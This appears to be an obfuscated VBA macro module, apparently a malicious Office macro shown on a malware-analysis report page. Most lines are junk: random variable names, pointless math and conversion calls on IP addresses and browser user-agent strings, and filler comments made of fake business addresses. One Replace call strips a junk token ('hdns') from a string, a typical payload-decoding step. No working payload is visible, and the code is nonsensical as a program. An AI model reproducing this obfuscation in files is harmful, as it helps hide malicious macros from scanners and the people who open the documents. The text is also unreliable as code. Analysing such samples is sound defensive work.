''' Lesniewski and Sons Suite 109 Southeast Podgórski, Mlynarczyk and Wróblewski Suite 632 South
Vnxzmbwtculs = Cos("227.202.74.252")
''' Wypych, Malec and Burzynski Suite 495 Northeast Pawelec - Andrzejczak Suite 463 East
''' Pawlikowski and Sons Suite 028 Southeast Bienkowski LLC Suite 916 Southeast
Ilbfybqt = Fix("Kuhic, Ullrich and ReichelSuite 820Northeast")
Vrwobshyci = "hdns" '
Ahuyoxwncod = Tan("12.67.43.121")
Dgunjluhsnjf = Oct("Product7177 Kulas Dam, Jedchester, Austria")
Rtspnmqsyiy = CInt(163)
''' Banasik and Sons Suite 040 West Misztal LLC Apt. 892 Southwest
Qditvkiys = CDate(29)
''' Szczesny - Kazmierczak Suite 988 Northwest Januszewski - Lesniewski Apt. 376 West
Xjxfhtkt = CDbl(201)
Eujzqzalil = Fedkunuk
''' Dudziak, Kwiecien and Kowalik Apt. 408 Northwest Karpinski, Lesniak and Sowa Suite 938 Northwest
Mpsdokkfxfovl = Tan(46)
Uflhmkvpwetbx = Round(199)
Yjufiuhmkqacn = Sin(501)
''' Dec Group Suite 841 Northeast Stelmach Group Suite 149 North
''' Pilch LLC Suite 507 West Filipowicz LLC Apt. 803 East
Ktukzhjcco = Log("Dynamic7711 Aliya Junctions, Hopeside, Latvia")
''' Pilch - Kubicki Apt. 692 Southwest Stankiewicz Inc Apt. 806 Southwest
''' Rogowski - Januszewski Apt. 791 East Izdebski - Wójcik Suite 977 East
Vzvingah = Atn("Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/535.2.2 (KHTML, like Gecko) Chrome/15.0.879.0 Safari/535.2.2")
Tflobjlba = Int("189.101.163.139")
Ljwasvonlvkn = CInt("Internal863 Darrell Glen, New Danmouth, Saint Helena")
Kkbheblcxsen = Tan(113)
''' Stec - Zych Apt. 043 South Matuszewski - Napierala Suite 856 Southwest
Wpikembqlujo = CBool(593)
''' Orzechowski - Walkowiak Apt. 703 Northwest Golab - Ciesla Apt. 060 Northeast
Nmirqtryjt = CSng(639)
Jimdvfzvr = Zjjtuzgypi
''' Zmuda Group Apt. 018 North Zielonka Group Apt. 333 Southeast
Kknwcbxgpox = Atn(834)
Ehzdoxusaiih = Atn(710)
Zcvgyktbsiiwt = Sgn(152)
''' Wójtowicz - Drzewiecki Apt. 854 West Jaworski - Wójtowicz Suite 392 Southeast
''' Bielawski - Radecki Suite 759 South Szymczyk, Szostak and Sokolowski Apt. 131 Southeast
Xlmgaprhubk = Sgn("Jerde - JohnstonApt. 022Southwest")
''' Sobolewski Inc Apt. 674 West Piotrowski Group Apt. 063 Northwest
''' Rutkowski and Sons Suite 501 North Niedzielski, Zurek and Skowron Suite 429 Southeast
Kcepcexetiysz = CLng("Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko")
Awjwutxjygpe = Replace(Yndhfnrg, Vrwobshyci, "")
Iblzeaxacevj = Sqr("113.143.232.181")
Ajkabfdh = Sin("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8 rv:6.0; ZH) AppleWebKit/537.2.1 (KHTML, like Gecko) Version/5.1.5 Safari/537.2.1")
Gbladoqzixu = Cos(203)
''' Brzezinski, Gajda and Dudzinski Apt. 832 South Trzeciak - Czyzewski Apt. 714 North
Vdmztezhmpz = Sin(389)
''' Koza, Antczak and Lis Apt. 260 Northwest Robak LLC Suite 837 West
Avbjoawwscpxw = CDate(763)
Vauhjvpxpgj = Hummyeovy
''' Mucha Inc Suite 889 West Malinowski and Sons Suite 688 South
Turdawcxq = Sgn(116)
Lvrsdkxldf = Rnd(177)
Oxqdzsarxbm = Cos(611)
''' Mikulski - Witczak Suite 268 Northeast Paszkowski Group Suite 556 West
''' Pasternak - Nowinski Suite 359 Northeast Bielski Inc Suite 329 East
Emwsdmntwir = Log("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2 rv:6.0; MO) AppleWebKit/538.1.0 (KHTML, like Gecko) Version/6.0.5 Safari/538.1.0")
''' Ksiazek, Czechowski and Janiak Apt. 824 Southeast Kulesza - Glowacki Suite 395 Southeast
''' Mazur, Bielawski and Janiak Apt. 905 South Golab, Kurek and Bieniek Apt. 866 Southeast
Adymvdvdc = Int("Global3378 Huel Camp, Thielshire, Virgin Islands, U.S.")
Rlzggqrbnruex = Int("Shoes")
Ihkdnizvxzfa = Log("Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/6.0)")
Usvbemrzdlha = Sgn(645)
''' Kurek and Sons Apt. 541 Southeast Cichon, Romanowski and Mróz Suite 169 Northwest
Irhcgvijh = CInt(259)
''' Wolak, Urbanowicz and Pilch Apt. 061 Southwest Adamczyk, Rybak and Kucinski Suite 525 Southeast
Osqcgaqs = CBool(906)
Zzdsrejdywnv = Grdtdllkixq
''' Kucinski LLC Apt. 614 East Wawrzyniak, Sitek and Drabik Apt. 815 East
Xxlqheoi = Sgn(773)
Jprzfjrqs = Sgn(895)
Voxxoxgo = Round(60)
''' Szczerba, Chmiel and Orzechowski Apt. 785 West Bak and Sons Suite 122 South
''' Kwiecien - Witkowski Suite 272 East Staszewski and Sons Suite 915 Southwest
Cxdlgmffr = CDbl("Mozilla/5.0 (Windows NT 6.0; rv:8.8) Gecko/20100101 Firefox/8.8.5")
''' Szczygiel - Kus Apt. 167 Southeast Dabkowski - Zych Apt. 947 West
''' Skowronek, Kasperek and Porebski Suite 540 Southeast Kaczor - Wolski Apt. 759 Northeast
Ontellgb = CBool("144.251.222.230")
End Function
Attribute VB_Name = "Puoxjnxhoq"
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.